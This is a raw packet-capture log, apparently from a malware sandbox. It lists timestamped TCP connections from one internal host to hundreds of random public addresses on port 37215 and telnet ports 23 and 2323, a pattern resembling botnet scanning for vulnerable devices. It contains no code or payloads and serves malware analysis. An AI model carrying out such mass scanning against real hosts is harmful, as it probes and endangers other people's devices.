Oct 8, 2024 20:34:45.553092957 CEST	48169	37215	192.168.2.14	41.110.90.237
Oct 8, 2024 20:34:45.553092957 CEST	48169	37215	192.168.2.14	156.50.112.147
Oct 8, 2024 20:34:45.553106070 CEST	48169	37215	192.168.2.14	197.29.0.163
Oct 8, 2024 20:34:45.553116083 CEST	48169	37215	192.168.2.14	156.77.135.252
Oct 8, 2024 20:34:45.553132057 CEST	48169	37215	192.168.2.14	156.203.226.228
Oct 8, 2024 20:34:45.553143978 CEST	48169	37215	192.168.2.14	197.198.67.112
Oct 8, 2024 20:34:45.553143978 CEST	48169	37215	192.168.2.14	41.12.81.122
Oct 8, 2024 20:34:45.553157091 CEST	48169	37215	192.168.2.14	197.140.20.32
Oct 8, 2024 20:34:45.553158045 CEST	48169	37215	192.168.2.14	41.146.4.37
Oct 8, 2024 20:34:45.553158045 CEST	48169	37215	192.168.2.14	197.62.90.67
Oct 8, 2024 20:34:45.553165913 CEST	48169	37215	192.168.2.14	41.152.170.90
Oct 8, 2024 20:34:45.553165913 CEST	48169	37215	192.168.2.14	156.102.137.62
Oct 8, 2024 20:34:45.553165913 CEST	48169	37215	192.168.2.14	156.72.224.35
Oct 8, 2024 20:34:45.553167105 CEST	48169	37215	192.168.2.14	41.210.61.245
Oct 8, 2024 20:34:45.553174019 CEST	48169	37215	192.168.2.14	197.193.20.216
Oct 8, 2024 20:34:45.553185940 CEST	48169	37215	192.168.2.14	197.72.196.174
Oct 8, 2024 20:34:45.553191900 CEST	48169	37215	192.168.2.14	41.196.28.239
Oct 8, 2024 20:34:45.553191900 CEST	48169	37215	192.168.2.14	197.180.250.225
Oct 8, 2024 20:34:45.553200006 CEST	48169	37215	192.168.2.14	156.202.79.26
Oct 8, 2024 20:34:45.553209066 CEST	48169	37215	192.168.2.14	156.30.190.1
Oct 8, 2024 20:34:45.553215027 CEST	48169	37215	192.168.2.14	156.245.206.244
Oct 8, 2024 20:34:45.553226948 CEST	48169	37215	192.168.2.14	41.4.113.45
Oct 8, 2024 20:34:45.553226948 CEST	48169	37215	192.168.2.14	156.141.83.65
Oct 8, 2024 20:34:45.553240061 CEST	48169	37215	192.168.2.14	156.202.168.194
Oct 8, 2024 20:34:45.553251028 CEST	48169	37215	192.168.2.14	41.39.15.197
Oct 8, 2024 20:34:45.553252935 CEST	48169	37215	192.168.2.14	156.220.192.5
Oct 8, 2024 20:34:45.553253889 CEST	48169	37215	192.168.2.14	156.18.156.56
Oct 8, 2024 20:34:45.553265095 CEST	48169	37215	192.168.2.14	197.27.115.244
Oct 8, 2024 20:34:45.553265095 CEST	48169	37215	192.168.2.14	197.244.128.217
Oct 8, 2024 20:34:45.553275108 CEST	48169	37215	192.168.2.14	197.130.72.18
Oct 8, 2024 20:34:45.553276062 CEST	48169	37215	192.168.2.14	41.96.85.47
Oct 8, 2024 20:34:45.553289890 CEST	48169	37215	192.168.2.14	41.45.190.48
Oct 8, 2024 20:34:45.553298950 CEST	48169	37215	192.168.2.14	156.190.191.59
Oct 8, 2024 20:34:45.553298950 CEST	48169	37215	192.168.2.14	156.232.179.19
Oct 8, 2024 20:34:45.553301096 CEST	48169	37215	192.168.2.14	41.175.182.51
Oct 8, 2024 20:34:45.553301096 CEST	48169	37215	192.168.2.14	41.186.118.7
Oct 8, 2024 20:34:45.553319931 CEST	48169	37215	192.168.2.14	156.61.192.171
Oct 8, 2024 20:34:45.553319931 CEST	48169	37215	192.168.2.14	197.155.149.117
Oct 8, 2024 20:34:45.553319931 CEST	48169	37215	192.168.2.14	156.188.190.63
Oct 8, 2024 20:34:45.553322077 CEST	48169	37215	192.168.2.14	156.138.111.114
Oct 8, 2024 20:34:45.553322077 CEST	48169	37215	192.168.2.14	197.23.117.242
Oct 8, 2024 20:34:45.553322077 CEST	48169	37215	192.168.2.14	156.73.227.108
Oct 8, 2024 20:34:45.553324938 CEST	48169	37215	192.168.2.14	156.66.252.198
Oct 8, 2024 20:34:45.553325891 CEST	48169	37215	192.168.2.14	197.140.35.222
Oct 8, 2024 20:34:45.553332090 CEST	48169	37215	192.168.2.14	156.244.180.233
Oct 8, 2024 20:34:45.553334951 CEST	48169	37215	192.168.2.14	156.236.111.156
Oct 8, 2024 20:34:45.553342104 CEST	48169	37215	192.168.2.14	41.171.238.97
Oct 8, 2024 20:34:45.553342104 CEST	48169	37215	192.168.2.14	41.77.141.157
Oct 8, 2024 20:34:45.553344965 CEST	48169	37215	192.168.2.14	156.75.41.42
Oct 8, 2024 20:34:45.553348064 CEST	48169	37215	192.168.2.14	156.101.221.92
Oct 8, 2024 20:34:45.553355932 CEST	48169	37215	192.168.2.14	41.83.252.8
Oct 8, 2024 20:34:45.553361893 CEST	48169	37215	192.168.2.14	41.82.146.99
Oct 8, 2024 20:34:45.553375006 CEST	48169	37215	192.168.2.14	197.201.129.118
Oct 8, 2024 20:34:45.553390026 CEST	48169	37215	192.168.2.14	156.126.151.222
Oct 8, 2024 20:34:45.553395033 CEST	48169	37215	192.168.2.14	156.86.33.2
Oct 8, 2024 20:34:45.553399086 CEST	48169	37215	192.168.2.14	197.57.135.140
Oct 8, 2024 20:34:45.553400040 CEST	48169	37215	192.168.2.14	156.95.18.214
Oct 8, 2024 20:34:45.553405046 CEST	48169	37215	192.168.2.14	197.70.218.204
Oct 8, 2024 20:34:45.553405046 CEST	48169	37215	192.168.2.14	197.106.4.161
Oct 8, 2024 20:34:45.553409100 CEST	48169	37215	192.168.2.14	156.78.213.62
Oct 8, 2024 20:34:45.553416014 CEST	48169	37215	192.168.2.14	197.194.216.143
Oct 8, 2024 20:34:45.553416014 CEST	48169	37215	192.168.2.14	41.247.158.219
Oct 8, 2024 20:34:45.553416014 CEST	48169	37215	192.168.2.14	156.143.190.119
Oct 8, 2024 20:34:45.553416014 CEST	48169	37215	192.168.2.14	156.180.119.37
Oct 8, 2024 20:34:45.553416014 CEST	48169	37215	192.168.2.14	197.218.61.89
Oct 8, 2024 20:34:45.553428888 CEST	48169	37215	192.168.2.14	41.22.181.159
Oct 8, 2024 20:34:45.553428888 CEST	48169	37215	192.168.2.14	41.173.24.183
Oct 8, 2024 20:34:45.553430080 CEST	48169	37215	192.168.2.14	41.0.68.108
Oct 8, 2024 20:34:45.553431034 CEST	48169	37215	192.168.2.14	197.186.162.159
Oct 8, 2024 20:34:45.553431034 CEST	48169	37215	192.168.2.14	197.183.53.224
Oct 8, 2024 20:34:45.553431034 CEST	48169	37215	192.168.2.14	41.95.169.127
Oct 8, 2024 20:34:45.553430080 CEST	48169	37215	192.168.2.14	41.162.254.41
Oct 8, 2024 20:34:45.553431034 CEST	48169	37215	192.168.2.14	156.192.79.110
Oct 8, 2024 20:34:45.553430080 CEST	48169	37215	192.168.2.14	197.164.84.29
Oct 8, 2024 20:34:45.553430080 CEST	48169	37215	192.168.2.14	197.36.174.110
Oct 8, 2024 20:34:45.553436995 CEST	48169	37215	192.168.2.14	197.93.109.164
Oct 8, 2024 20:34:45.553438902 CEST	48169	37215	192.168.2.14	156.117.193.60
Oct 8, 2024 20:34:45.553438902 CEST	48169	37215	192.168.2.14	41.108.185.112
Oct 8, 2024 20:34:45.553438902 CEST	48169	37215	192.168.2.14	156.175.171.254
Oct 8, 2024 20:34:45.553438902 CEST	48169	37215	192.168.2.14	156.67.37.177
Oct 8, 2024 20:34:45.553442955 CEST	48169	37215	192.168.2.14	156.186.189.20
Oct 8, 2024 20:34:45.553443909 CEST	48169	37215	192.168.2.14	41.169.25.21
Oct 8, 2024 20:34:45.553443909 CEST	48169	37215	192.168.2.14	156.99.18.94
Oct 8, 2024 20:34:45.553456068 CEST	48169	37215	192.168.2.14	41.114.82.131
Oct 8, 2024 20:34:45.553462029 CEST	48169	37215	192.168.2.14	41.51.232.205
Oct 8, 2024 20:34:45.553473949 CEST	48169	37215	192.168.2.14	197.60.177.142
Oct 8, 2024 20:34:45.553473949 CEST	48169	37215	192.168.2.14	156.227.109.252
Oct 8, 2024 20:34:45.553484917 CEST	48169	37215	192.168.2.14	41.104.37.242
Oct 8, 2024 20:34:45.553487062 CEST	48169	37215	192.168.2.14	41.97.69.207
Oct 8, 2024 20:34:45.553494930 CEST	48169	37215	192.168.2.14	41.66.174.36
Oct 8, 2024 20:34:45.553497076 CEST	48169	37215	192.168.2.14	41.40.131.189
Oct 8, 2024 20:34:45.553499937 CEST	48169	37215	192.168.2.14	156.17.100.0
Oct 8, 2024 20:34:45.553504944 CEST	48169	37215	192.168.2.14	41.208.238.33
Oct 8, 2024 20:34:45.553529978 CEST	48169	37215	192.168.2.14	197.195.2.52
Oct 8, 2024 20:34:45.553539038 CEST	48169	37215	192.168.2.14	197.150.207.213
Oct 8, 2024 20:34:45.553539038 CEST	48169	37215	192.168.2.14	197.154.94.153
Oct 8, 2024 20:34:45.553551912 CEST	48169	37215	192.168.2.14	197.233.227.61
Oct 8, 2024 20:34:45.553551912 CEST	48169	37215	192.168.2.14	156.182.105.94
Oct 8, 2024 20:34:45.553554058 CEST	48169	37215	192.168.2.14	156.226.93.103
Oct 8, 2024 20:34:45.553565025 CEST	48169	37215	192.168.2.14	197.210.142.105
Oct 8, 2024 20:34:45.553565979 CEST	48169	37215	192.168.2.14	156.56.221.130
Oct 8, 2024 20:34:45.553585052 CEST	48169	37215	192.168.2.14	197.204.239.52
Oct 8, 2024 20:34:45.553587914 CEST	48169	37215	192.168.2.14	197.179.76.221
Oct 8, 2024 20:34:45.553587914 CEST	48169	37215	192.168.2.14	197.66.41.34
Oct 8, 2024 20:34:45.553587914 CEST	48169	37215	192.168.2.14	41.36.166.213
Oct 8, 2024 20:34:45.553603888 CEST	48169	37215	192.168.2.14	156.234.121.157
Oct 8, 2024 20:34:45.553603888 CEST	48169	37215	192.168.2.14	197.172.23.99
Oct 8, 2024 20:34:45.553615093 CEST	48169	37215	192.168.2.14	156.209.193.87
Oct 8, 2024 20:34:45.553618908 CEST	48169	37215	192.168.2.14	156.85.3.139
Oct 8, 2024 20:34:45.553618908 CEST	48169	37215	192.168.2.14	197.249.1.248
Oct 8, 2024 20:34:45.553626060 CEST	48169	37215	192.168.2.14	156.114.85.66
Oct 8, 2024 20:34:45.553636074 CEST	48169	37215	192.168.2.14	197.81.218.187
Oct 8, 2024 20:34:45.553649902 CEST	48169	37215	192.168.2.14	197.250.74.85
Oct 8, 2024 20:34:45.553649902 CEST	48169	37215	192.168.2.14	197.220.142.63
Oct 8, 2024 20:34:45.553658009 CEST	48169	37215	192.168.2.14	156.235.237.15
Oct 8, 2024 20:34:45.553679943 CEST	48169	37215	192.168.2.14	156.245.52.41
Oct 8, 2024 20:34:45.553679943 CEST	48169	37215	192.168.2.14	41.68.49.105
Oct 8, 2024 20:34:45.553680897 CEST	48169	37215	192.168.2.14	41.247.71.156
Oct 8, 2024 20:34:45.553680897 CEST	48169	37215	192.168.2.14	156.92.6.168
Oct 8, 2024 20:34:45.553680897 CEST	48169	37215	192.168.2.14	156.45.85.242
Oct 8, 2024 20:34:45.553683996 CEST	48169	37215	192.168.2.14	197.101.205.123
Oct 8, 2024 20:34:45.553694963 CEST	48169	37215	192.168.2.14	156.44.28.179
Oct 8, 2024 20:34:45.553697109 CEST	48169	37215	192.168.2.14	197.184.177.85
Oct 8, 2024 20:34:45.553699017 CEST	48169	37215	192.168.2.14	156.143.233.247
Oct 8, 2024 20:34:45.553709030 CEST	48169	37215	192.168.2.14	197.82.237.120
Oct 8, 2024 20:34:45.553719044 CEST	48169	37215	192.168.2.14	197.208.249.131
Oct 8, 2024 20:34:45.553719997 CEST	48169	37215	192.168.2.14	156.17.182.121
Oct 8, 2024 20:34:45.553720951 CEST	48169	37215	192.168.2.14	41.164.70.229
Oct 8, 2024 20:34:45.553730011 CEST	48169	37215	192.168.2.14	197.203.158.235
Oct 8, 2024 20:34:45.553738117 CEST	48169	37215	192.168.2.14	156.47.232.222
Oct 8, 2024 20:34:45.553742886 CEST	48169	37215	192.168.2.14	156.229.175.98
Oct 8, 2024 20:34:45.553754091 CEST	48169	37215	192.168.2.14	156.29.74.241
Oct 8, 2024 20:34:45.553755045 CEST	48169	37215	192.168.2.14	197.182.177.128
Oct 8, 2024 20:34:45.553759098 CEST	48169	37215	192.168.2.14	197.185.213.67
Oct 8, 2024 20:34:45.553771019 CEST	48169	37215	192.168.2.14	197.96.47.154
Oct 8, 2024 20:34:45.553786993 CEST	48169	37215	192.168.2.14	156.90.140.113
Oct 8, 2024 20:34:45.553786993 CEST	48169	37215	192.168.2.14	156.146.6.17
Oct 8, 2024 20:34:45.553788900 CEST	48169	37215	192.168.2.14	156.25.166.63
Oct 8, 2024 20:34:45.553798914 CEST	48169	37215	192.168.2.14	197.55.161.223
Oct 8, 2024 20:34:45.553807974 CEST	48169	37215	192.168.2.14	41.254.78.89
Oct 8, 2024 20:34:45.553817987 CEST	48169	37215	192.168.2.14	156.178.169.130
Oct 8, 2024 20:34:45.553821087 CEST	48169	37215	192.168.2.14	41.241.185.34
Oct 8, 2024 20:34:45.553827047 CEST	48169	37215	192.168.2.14	156.215.114.23
Oct 8, 2024 20:34:45.553827047 CEST	48169	37215	192.168.2.14	41.159.158.9
Oct 8, 2024 20:34:45.553849936 CEST	48169	37215	192.168.2.14	41.140.94.227
Oct 8, 2024 20:34:45.553852081 CEST	48169	37215	192.168.2.14	197.249.201.185
Oct 8, 2024 20:34:45.553858042 CEST	48169	37215	192.168.2.14	156.235.63.172
Oct 8, 2024 20:34:45.553864002 CEST	48169	37215	192.168.2.14	156.84.210.252
Oct 8, 2024 20:34:45.553873062 CEST	48169	37215	192.168.2.14	41.25.13.6
Oct 8, 2024 20:34:45.553873062 CEST	48169	37215	192.168.2.14	156.158.206.190
Oct 8, 2024 20:34:45.553886890 CEST	48169	37215	192.168.2.14	197.182.165.146
Oct 8, 2024 20:34:45.553889036 CEST	48169	37215	192.168.2.14	41.243.115.76
Oct 8, 2024 20:34:45.553903103 CEST	48169	37215	192.168.2.14	197.146.212.102
Oct 8, 2024 20:34:45.553916931 CEST	48169	37215	192.168.2.14	41.17.243.182
Oct 8, 2024 20:34:45.553919077 CEST	48169	37215	192.168.2.14	156.24.211.28
Oct 8, 2024 20:34:45.553936005 CEST	48169	37215	192.168.2.14	156.229.186.216
Oct 8, 2024 20:34:45.553941011 CEST	48169	37215	192.168.2.14	156.71.42.65
Oct 8, 2024 20:34:45.553941011 CEST	48169	37215	192.168.2.14	156.55.209.79
Oct 8, 2024 20:34:45.553941965 CEST	48169	37215	192.168.2.14	197.228.131.227
Oct 8, 2024 20:34:45.553941965 CEST	48169	37215	192.168.2.14	41.100.161.241
Oct 8, 2024 20:34:45.553941965 CEST	48169	37215	192.168.2.14	156.133.176.158
Oct 8, 2024 20:34:45.553941965 CEST	48169	37215	192.168.2.14	41.140.234.237
Oct 8, 2024 20:34:45.553946018 CEST	48169	37215	192.168.2.14	197.177.61.247
Oct 8, 2024 20:34:45.553946018 CEST	48169	37215	192.168.2.14	156.120.120.232
Oct 8, 2024 20:34:45.553957939 CEST	48169	37215	192.168.2.14	41.29.121.92
Oct 8, 2024 20:34:45.553958893 CEST	48169	37215	192.168.2.14	156.51.42.169
Oct 8, 2024 20:34:45.553958893 CEST	48169	37215	192.168.2.14	197.154.59.196
Oct 8, 2024 20:34:45.553967953 CEST	48169	37215	192.168.2.14	156.169.79.133
Oct 8, 2024 20:34:45.553983927 CEST	48169	37215	192.168.2.14	41.178.245.4
Oct 8, 2024 20:34:45.553983927 CEST	48169	37215	192.168.2.14	156.156.239.50
Oct 8, 2024 20:34:45.553997040 CEST	48169	37215	192.168.2.14	156.89.99.156
Oct 8, 2024 20:34:45.553997040 CEST	48169	37215	192.168.2.14	156.9.157.4
Oct 8, 2024 20:34:45.553999901 CEST	48169	37215	192.168.2.14	156.197.80.151
Oct 8, 2024 20:34:45.554002047 CEST	48169	37215	192.168.2.14	197.223.233.252
Oct 8, 2024 20:34:45.554002047 CEST	48169	37215	192.168.2.14	156.11.202.2
Oct 8, 2024 20:34:45.554003000 CEST	48169	37215	192.168.2.14	41.170.29.228
Oct 8, 2024 20:34:45.554003954 CEST	48169	37215	192.168.2.14	41.32.231.188
Oct 8, 2024 20:34:45.554230928 CEST	37215	59134	41.233.118.37	192.168.2.14
Oct 8, 2024 20:34:45.554476976 CEST	37215	37524	41.103.121.35	192.168.2.14
Oct 8, 2024 20:34:45.554486990 CEST	37215	52512	156.40.104.148	192.168.2.14
Oct 8, 2024 20:34:45.554677963 CEST	37215	59302	156.15.255.64	192.168.2.14
Oct 8, 2024 20:34:45.554688931 CEST	37215	44860	197.59.58.68	192.168.2.14
Oct 8, 2024 20:34:45.556912899 CEST	37215	53352	41.49.156.70	192.168.2.14
Oct 8, 2024 20:34:45.556924105 CEST	37215	42626	156.211.117.106	192.168.2.14
Oct 8, 2024 20:34:45.556932926 CEST	37215	51610	197.221.227.11	192.168.2.14
Oct 8, 2024 20:34:45.556942940 CEST	37215	59764	197.200.82.162	192.168.2.14
Oct 8, 2024 20:34:45.556952000 CEST	37215	40756	41.240.69.60	192.168.2.14
Oct 8, 2024 20:34:45.556962967 CEST	37215	60512	156.224.97.47	192.168.2.14
Oct 8, 2024 20:34:45.556972980 CEST	37215	38230	41.98.76.2	192.168.2.14
Oct 8, 2024 20:34:45.556982040 CEST	37215	55064	156.139.56.40	192.168.2.14
Oct 8, 2024 20:34:45.556992054 CEST	37215	53174	197.67.121.133	192.168.2.14
Oct 8, 2024 20:34:45.557002068 CEST	37215	50618	41.66.89.207	192.168.2.14
Oct 8, 2024 20:34:45.557696104 CEST	37215	41538	197.61.130.134	192.168.2.14
Oct 8, 2024 20:34:45.557706118 CEST	37215	56478	197.249.177.156	192.168.2.14
Oct 8, 2024 20:34:45.557717085 CEST	37215	42658	156.228.8.25	192.168.2.14
Oct 8, 2024 20:34:45.557725906 CEST	37215	39602	197.3.1.37	192.168.2.14
Oct 8, 2024 20:34:45.558368921 CEST	37215	50618	41.66.89.207	192.168.2.14
Oct 8, 2024 20:34:45.558379889 CEST	37215	48169	41.93.241.64	192.168.2.14
Oct 8, 2024 20:34:45.558389902 CEST	37215	48169	197.29.27.45	192.168.2.14
Oct 8, 2024 20:34:45.558430910 CEST	50618	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.558464050 CEST	48169	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:45.558463097 CEST	48169	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:45.558496952 CEST	37215	48169	156.198.67.203	192.168.2.14
Oct 8, 2024 20:34:45.558542013 CEST	48169	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:45.558564901 CEST	37215	53174	197.67.121.133	192.168.2.14
Oct 8, 2024 20:34:45.558605909 CEST	53174	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.558763981 CEST	37215	55064	156.139.56.40	192.168.2.14
Oct 8, 2024 20:34:45.558804035 CEST	55064	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.559016943 CEST	37215	38230	41.98.76.2	192.168.2.14
Oct 8, 2024 20:34:45.559027910 CEST	37215	60512	156.224.97.47	192.168.2.14
Oct 8, 2024 20:34:45.559058905 CEST	38230	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.559082985 CEST	60512	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.559140921 CEST	37215	40756	41.240.69.60	192.168.2.14
Oct 8, 2024 20:34:45.559151888 CEST	37215	59764	197.200.82.162	192.168.2.14
Oct 8, 2024 20:34:45.559160948 CEST	37215	51610	197.221.227.11	192.168.2.14
Oct 8, 2024 20:34:45.559171915 CEST	37215	42626	156.211.117.106	192.168.2.14
Oct 8, 2024 20:34:45.559181929 CEST	37215	53352	41.49.156.70	192.168.2.14
Oct 8, 2024 20:34:45.559180021 CEST	40756	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.559180021 CEST	59764	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.559202909 CEST	42626	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.559205055 CEST	53352	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.559241056 CEST	51610	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.559899092 CEST	37215	52690	156.133.98.88	192.168.2.14
Oct 8, 2024 20:34:45.563630104 CEST	37215	59512	156.15.255.64	192.168.2.14
Oct 8, 2024 20:34:45.563641071 CEST	37215	52950	41.49.156.70	192.168.2.14
Oct 8, 2024 20:34:45.563661098 CEST	37215	37312	156.13.36.43	192.168.2.14
Oct 8, 2024 20:34:45.563673973 CEST	37215	37110	156.196.97.204	192.168.2.14
Oct 8, 2024 20:34:45.563682079 CEST	37215	53810	156.192.248.123	192.168.2.14
Oct 8, 2024 20:34:45.565599918 CEST	37215	59512	156.15.255.64	192.168.2.14
Oct 8, 2024 20:34:45.565644979 CEST	59512	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.567569971 CEST	37215	58352	197.118.22.201	192.168.2.14
Oct 8, 2024 20:34:45.595561981 CEST	37215	59134	41.233.118.37	192.168.2.14
Oct 8, 2024 20:34:46.303769112 CEST	50954	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:46.303783894 CEST	54588	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:46.303786039 CEST	51342	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:46.303786039 CEST	44360	23	192.168.2.14	103.60.127.40
Oct 8, 2024 20:34:46.303786039 CEST	46754	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:46.303786039 CEST	42768	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:46.303792000 CEST	60804	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:46.303793907 CEST	59448	23	192.168.2.14	206.84.233.88
Oct 8, 2024 20:34:46.303798914 CEST	35474	2323	192.168.2.14	88.254.110.224
Oct 8, 2024 20:34:46.303798914 CEST	51294	23	192.168.2.14	197.231.119.163
Oct 8, 2024 20:34:46.303798914 CEST	55866	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:46.303798914 CEST	56274	23	192.168.2.14	154.99.92.15
Oct 8, 2024 20:34:46.303798914 CEST	42980	23	192.168.2.14	212.213.62.210
Oct 8, 2024 20:34:46.303798914 CEST	36296	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.303798914 CEST	44852	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:46.303798914 CEST	57474	23	192.168.2.14	188.135.77.119
Oct 8, 2024 20:34:46.303808928 CEST	54314	23	192.168.2.14	120.75.91.38
Oct 8, 2024 20:34:46.303808928 CEST	57946	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:46.303812027 CEST	48562	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:46.303814888 CEST	48138	23	192.168.2.14	204.54.71.90
Oct 8, 2024 20:34:46.303814888 CEST	45672	23	192.168.2.14	98.143.56.76
Oct 8, 2024 20:34:46.303817987 CEST	60828	23	192.168.2.14	87.71.191.49
Oct 8, 2024 20:34:46.303817987 CEST	37506	2323	192.168.2.14	85.3.6.123
Oct 8, 2024 20:34:46.303853035 CEST	50966	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:46.303858042 CEST	40306	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:46.303859949 CEST	39114	23	192.168.2.14	162.240.134.106
Oct 8, 2024 20:34:46.308664083 CEST	37215	50954	41.115.234.247	192.168.2.14
Oct 8, 2024 20:34:46.308676004 CEST	37215	54588	156.235.39.57	192.168.2.14
Oct 8, 2024 20:34:46.308686972 CEST	37215	51342	156.130.3.215	192.168.2.14
Oct 8, 2024 20:34:46.308744907 CEST	50954	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:46.308747053 CEST	54588	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:46.308769941 CEST	51342	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:46.308825970 CEST	37215	60804	197.56.8.149	192.168.2.14
Oct 8, 2024 20:34:46.308837891 CEST	37215	48562	41.202.0.65	192.168.2.14
Oct 8, 2024 20:34:46.308849096 CEST	23	44360	103.60.127.40	192.168.2.14
Oct 8, 2024 20:34:46.308871984 CEST	60804	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:46.308895111 CEST	44360	23	192.168.2.14	103.60.127.40
Oct 8, 2024 20:34:46.308913946 CEST	48562	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:46.308938026 CEST	37215	46754	156.151.29.185	192.168.2.14
Oct 8, 2024 20:34:46.308952093 CEST	37215	42768	41.39.101.230	192.168.2.14
Oct 8, 2024 20:34:46.308963060 CEST	23	48138	204.54.71.90	192.168.2.14
Oct 8, 2024 20:34:46.308973074 CEST	23	60828	87.71.191.49	192.168.2.14
Oct 8, 2024 20:34:46.308989048 CEST	46754	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:46.308989048 CEST	42768	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:46.308995962 CEST	48138	23	192.168.2.14	204.54.71.90
Oct 8, 2024 20:34:46.309068918 CEST	60828	23	192.168.2.14	87.71.191.49
Oct 8, 2024 20:34:46.309253931 CEST	48168	2323	192.168.2.14	164.136.28.188
Oct 8, 2024 20:34:46.309313059 CEST	48168	23	192.168.2.14	31.69.24.240
Oct 8, 2024 20:34:46.309314966 CEST	48168	23	192.168.2.14	221.8.98.198
Oct 8, 2024 20:34:46.309314966 CEST	48168	23	192.168.2.14	163.13.115.137
Oct 8, 2024 20:34:46.309320927 CEST	48168	23	192.168.2.14	103.107.206.175
Oct 8, 2024 20:34:46.309329033 CEST	48168	23	192.168.2.14	104.5.193.224
Oct 8, 2024 20:34:46.309343100 CEST	48168	23	192.168.2.14	38.121.225.201
Oct 8, 2024 20:34:46.309356928 CEST	48168	23	192.168.2.14	120.121.119.91
Oct 8, 2024 20:34:46.309359074 CEST	48168	23	192.168.2.14	163.7.208.166
Oct 8, 2024 20:34:46.309384108 CEST	48168	23	192.168.2.14	45.128.42.166
Oct 8, 2024 20:34:46.309387922 CEST	48168	2323	192.168.2.14	169.141.80.11
Oct 8, 2024 20:34:46.309387922 CEST	48168	23	192.168.2.14	135.45.157.64
Oct 8, 2024 20:34:46.309407949 CEST	48168	23	192.168.2.14	133.227.119.47
Oct 8, 2024 20:34:46.309407949 CEST	48168	23	192.168.2.14	34.237.172.12
Oct 8, 2024 20:34:46.309408903 CEST	23	45672	98.143.56.76	192.168.2.14
Oct 8, 2024 20:34:46.309421062 CEST	23	54314	120.75.91.38	192.168.2.14
Oct 8, 2024 20:34:46.309429884 CEST	48168	23	192.168.2.14	106.137.198.153
Oct 8, 2024 20:34:46.309429884 CEST	48168	23	192.168.2.14	101.34.58.41
Oct 8, 2024 20:34:46.309432983 CEST	37215	57946	41.125.245.240	192.168.2.14
Oct 8, 2024 20:34:46.309443951 CEST	2323	35474	88.254.110.224	192.168.2.14
Oct 8, 2024 20:34:46.309443951 CEST	45672	23	192.168.2.14	98.143.56.76
Oct 8, 2024 20:34:46.309454918 CEST	2323	37506	85.3.6.123	192.168.2.14
Oct 8, 2024 20:34:46.309462070 CEST	54314	23	192.168.2.14	120.75.91.38
Oct 8, 2024 20:34:46.309462070 CEST	57946	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:46.309474945 CEST	35474	2323	192.168.2.14	88.254.110.224
Oct 8, 2024 20:34:46.309477091 CEST	48168	23	192.168.2.14	181.24.186.51
Oct 8, 2024 20:34:46.309498072 CEST	48168	23	192.168.2.14	112.203.244.245
Oct 8, 2024 20:34:46.309504032 CEST	37506	2323	192.168.2.14	85.3.6.123
Oct 8, 2024 20:34:46.309504986 CEST	48168	23	192.168.2.14	210.158.64.90
Oct 8, 2024 20:34:46.309504986 CEST	48168	23	192.168.2.14	42.39.246.43
Oct 8, 2024 20:34:46.309513092 CEST	23	51294	197.231.119.163	192.168.2.14
Oct 8, 2024 20:34:46.309516907 CEST	48168	2323	192.168.2.14	74.89.174.46
Oct 8, 2024 20:34:46.309523106 CEST	37215	55866	156.68.138.126	192.168.2.14
Oct 8, 2024 20:34:46.309529066 CEST	48168	23	192.168.2.14	85.244.194.221
Oct 8, 2024 20:34:46.309531927 CEST	48168	23	192.168.2.14	48.204.149.210
Oct 8, 2024 20:34:46.309534073 CEST	23	59448	206.84.233.88	192.168.2.14
Oct 8, 2024 20:34:46.309544086 CEST	23	56274	154.99.92.15	192.168.2.14
Oct 8, 2024 20:34:46.309554100 CEST	23	42980	212.213.62.210	192.168.2.14
Oct 8, 2024 20:34:46.309564114 CEST	59448	23	192.168.2.14	206.84.233.88
Oct 8, 2024 20:34:46.309566021 CEST	51294	23	192.168.2.14	197.231.119.163
Oct 8, 2024 20:34:46.309566021 CEST	55866	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:46.309578896 CEST	56274	23	192.168.2.14	154.99.92.15
Oct 8, 2024 20:34:46.309578896 CEST	48168	23	192.168.2.14	59.159.74.41
Oct 8, 2024 20:34:46.309587955 CEST	42980	23	192.168.2.14	212.213.62.210
Oct 8, 2024 20:34:46.309591055 CEST	48168	23	192.168.2.14	146.52.194.54
Oct 8, 2024 20:34:46.309597015 CEST	48168	23	192.168.2.14	94.5.107.179
Oct 8, 2024 20:34:46.309597015 CEST	37215	36296	197.90.138.159	192.168.2.14
Oct 8, 2024 20:34:46.309609890 CEST	37215	44852	41.7.7.103	192.168.2.14
Oct 8, 2024 20:34:46.309619904 CEST	23	57474	188.135.77.119	192.168.2.14
